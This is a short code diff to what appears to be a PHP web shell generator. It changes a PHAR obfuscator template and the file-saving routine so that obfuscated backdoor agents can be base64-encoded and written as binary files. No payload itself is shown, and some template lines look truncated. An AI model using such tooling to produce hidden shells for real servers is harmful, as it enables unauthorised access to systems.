diff --git a/bd/obfuscators/phar.tpl b/bd/obfuscators/phar.tpl index 7d0924a..a653f71 100644 --- a/bd/obfuscators/phar.tpl +++ b/bd/obfuscators/phar.tpl @@ -1,18 +1,18 @@ <%! import io import zlib +import base64 import hashlib from datetime import datetime %><% -agent = agent.strip(b'\n') +clean_agent = agent.strip(b'\n') stub = b"""""" fname = b'x' -f = b'${output.encode('utf-8')} \ No newline at end of file +output.write(b'GBMB') +%>b64:${base64.b64encode(output.getvalue()).decode('utf-8')} \ No newline at end of file diff --git a/core/generate.py b/core/generate.py index 5e7d763..3abfc69 100644 --- a/core/generate.py +++ b/core/generate.py @@ -3,6 +3,7 @@ from core.weexceptions import FatalException from core import messages import os +import base64 def generate(password, obfuscator = 'obfusc1_php', agent = 'obfpost_php'): @@ -42,8 +43,12 @@ def generate(password, obfuscator = 'obfusc1_php', agent = 'obfpost_php'): def save_generated(obfuscated, output): try: - with open(output, 'w') as genfile: - genfile.write(obfuscated) + if obfuscated[:4] == 'b64:': + with open(output, 'wb') as genfile: + genfile.write(base64.b64decode(obfuscated[4:])) + else: + with open(output, 'w') as genfile: + genfile.write(obfuscated) except Exception as e: raise FatalException( messages.generic.error_creating_file_s_s %